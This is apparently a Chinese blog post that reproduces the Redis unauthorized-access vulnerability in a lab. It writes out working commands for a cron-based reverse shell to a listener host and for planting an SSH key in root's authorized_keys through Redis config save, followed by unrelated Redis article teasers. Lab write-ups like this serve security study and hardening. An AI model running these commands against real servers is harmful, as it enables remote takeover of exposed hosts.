代码编织梦想

一、漏洞描述

        Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,未绑定IP或未密码访问时都会出错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认密码为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

漏洞的产生条件:

  • Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
  • 没有设置密码认证(默认为空)或者弱密码,可以免密码登录Redis服务

二、漏洞影响版本

        Redis 2.x,3.x,4.x,5.x

三、漏洞危害

        1、无需认证访问到内部数据,可能导致敏感信息泄露,也可以恶意执行flushall清空所有数据。

        2、攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件。

        3、如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。

四、环境搭建

        只需要搭建服务端环境,kali自带redis客户端。

①下载Redis服务端

wget http://download.redis.io/releases/redis-4.0.4.tar.gz

②解压下载的压缩包

 

③编译make

④将src目录下的redis-server和redis-cli拷贝到/usr/bin/目录: 

⑤将redis-4.0.4目录下的redis.conf拷贝到/etc/目录下

 

⑥修改/etc/redis.conf配置文件,注释掉本地访问,并设置保护模式为no,这样才能远程访问redis服务。

 ⑦通过修改后的配置文件启动redis服务,服务端环境完成。

./redis-server /etc/redis.conf

五、漏洞复现


redis基本操作

①尝试直接连接,并查看info信息。有响应证明当前存在未授权访问,且可以远程访问。

②创建、查询、删除一个键值对。


Redis拿权限主要是利用redis写文件的功能,我们可以通过写入以下文件获取权限:

  • 写入计划任务反弹shell
  • 写入ssh公钥获取权限
  • 写入webshell获取权限

1)通过计划任务反弹shell

Kali开启监听:

nc -lvvp 3444

写入反弹shell,写入文件需要有写权限,否则报错

set xxx "\n* * * * * /bin/bash -i>&/dev/tcp/10.10.10.128/3444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

等待一分钟左右服务器成功上线。

2)写入SSH公钥获取权限

前提:服务端存在.ssh目录并且有写入的权限。

原理:在数据库中插入一条数据,将本机(kali机)的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized_key,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh目录下生成一个授权的key.

命令如下:

1、生成本机的公钥

ssh-keygen -t rsa     //默认密码为空,直接回车

2、在kali中进入到/root/.ssh目录,执行以下命令将id_rsa.pub文件写入到key.txt

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.30.101 -x set ssh

 

3、使用攻击机连接目标机器Redis,设置Redis的备份路径为/root/.ssh并保存文件名为authorized_keys,并将数据保存在目标服务器。

redis-cli -h 192.168.30.101 //连接目标机器
config get dir //查看当前redis备份路径 
config set dir /root/.ssh //设置备份路径为/root/.ssh 
config set dbfilename authorized_keys //设置备份文件名为authorized_keys 
save //保存配置

4、连接目标服务器成功。

ssh root@192.168.30.101 -p 22 -i /y //输入yes即可登录

3)写入webshell

前提:root权限,开启网站服务并且知道网站绝对路径。


写入phpinfo为例。

尝试访问,成功。

 

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/xunhuanmao/article/details/127002009

Redis未授权访问漏洞复现的(三种方式)-爱代码爱编程

Redis未授权访问漏洞复现(三种方式) 一、Redis介绍 Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。 二、漏洞简介及危害 漏洞简

Redis未授权访问漏洞-爱代码爱编程

目录 利用无口令远程登陆redis 利用Redis的持久化写webshell 安装 攻击 Redis 利用持久化,利用“公私钥“认证获取root权限 利用无口令远程登陆redis 开了web服务器,并且知道对方IP地址就可以 ./redis-server ../redis.conf ./redis-cli -h 192.168.0

Redis未授权访问漏洞复现与利用-爱代码爱编程

Redis未授权访问漏洞复现与利用 一、漏洞简介以及危害 1.什么是未授权访问漏洞 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下

redis未授权访问漏洞复现(www.hetianlab.com)_曲折上升的博客-爱代码爱编程

未授权访问漏洞 未授权原理: 未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面配置不当导致其他用户可以无需认证授权直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。 Redis未授权访问漏洞 当redis服务(6379)端口对外开放且未作密码认证时,任意用户可未授权访问redis服务并操作获取其数据。 本文通过三种方法

redis的基本使用_yqd666的博客-爱代码爱编程

1.Redis简介 (1)什么是Redis ①Redis是一个基于内存的key-value结构数据库 ②基于内存存储,读写性能高 ③适合存储热点数据(热点商品、资讯、新闻) ④Redis是一个开源的内存中的数据结构存储系统

redis主从复制+哨兵模式_small stones的博客-爱代码爱编程

Redis主从复制 **Tips:**准备三台虚拟机,配置好主机名、IP地址和redis环境。为了演示方便,利用多个实列的方式在一台主机上运行。 环境准备 配置多个实列 cp /opt/software/redis-

mysql----innodb存储引擎_彼岸的饭碗的博客-爱代码爱编程

innoDB ---- 一个程序员都应该了解的概念 1. innoDB逻辑存储结构 2. innoDB整体架构 2.1 内存架构 Buffer Pool Change Buffer Adaptive

redis实现消息队列(双端队列的模式,发布订阅模式)_dream21st的博客-爱代码爱编程

文章目录 1 采用双端队列的模式 1.1 入队出队操作 1.2 生产者编写 1.3 消费者编写 1.4 测试 2 采用发布订阅模式

redis知识-实战篇(4)_吹个七彩泡泡吧的博客-爱代码爱编程

详细代码在我的Github上,地址: https://github.com/CodeTeng/RedisCase 感兴趣的朋友可以去我的语雀平台进行查看更多的知识。 https://www.yuque.com/ambitio

redis 未授权访问漏洞复现_redis.pid 报错-爱代码爱编程

Redis 未授权访问漏洞复现 1.Redis 简介 Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key

缓存服务——redis集群(2)_缓存集群和数据库集群-爱代码爱编程

文章目录 缓存服务——Redis集群(2)五、Redis主从复制1.redis复制特性2.redis主从复制原理①redis主从同步方式②主从复制原理③redis复制中的SYNC和PSYNC④redis复制的一

redis是什么,有什么特点,怎么使用,简单的命令,nosql_redis是软件还是硬件-爱代码爱编程

一.官网:redis.io Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持 基本介绍 redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括st

redis缓存失效问题_redis 缓存失效-爱代码爱编程

什么是缓存穿透?什么是缓存击穿?什么是缓存雪崩? 一个正常的访问流程: 1.缓存雪崩:redis缓存key同一时间大量失效,导致大量请求全部打到数据库,造成数据库挂掉。 如图: 缓存雪崩解决方案: 1.设置缓存的失效

redis占用内存过高怎么办_redis占用内存过大-爱代码爱编程

目录 前言 案例现象 定位问题 内存回收策略 键过期机制 slave的过期策略 解决问题 前言 我们知道,Redis是一个key-value数据库,它的数据是运行在内存中的 其读写效率比将数据存储到磁盘上的数据库要快很多 虽然性能强大,但是如果我们不了解Redis的内存回收策略,就有可能导致Redis消耗内存过高甚至导致内存溢出,严重影响系统性能

redis键值存储数据库(高性能缓存库)_键值对存储数据库-爱代码爱编程

文章目录 非关系型数据库概念优缺点优点缺点 使用场景数据类型支持的类型STRINGLISTHASHSETZSET Redis持久化RDB 持久化(快照持久化)概念配置创建快照的方法 A

redis学习笔记——缓存穿透、雪崩和击穿-爱代码爱编程

一,缓存穿透 1、描述:缓存穿透是指客户端请求的数据在缓存中和数据库中都不存在,这样缓存永远不会生效,这些请求都会打到数据库。 如果有大量这种请求,数据库的压力会很大 2、解决方案 1)缓存空对象 把请求的数据设为空值存到缓存中 优点:①实现简单,维护方便 缺点:①额外的内存消耗②可能造成短期的不一致 2)布隆过滤 在客户端与缓存(Redis)中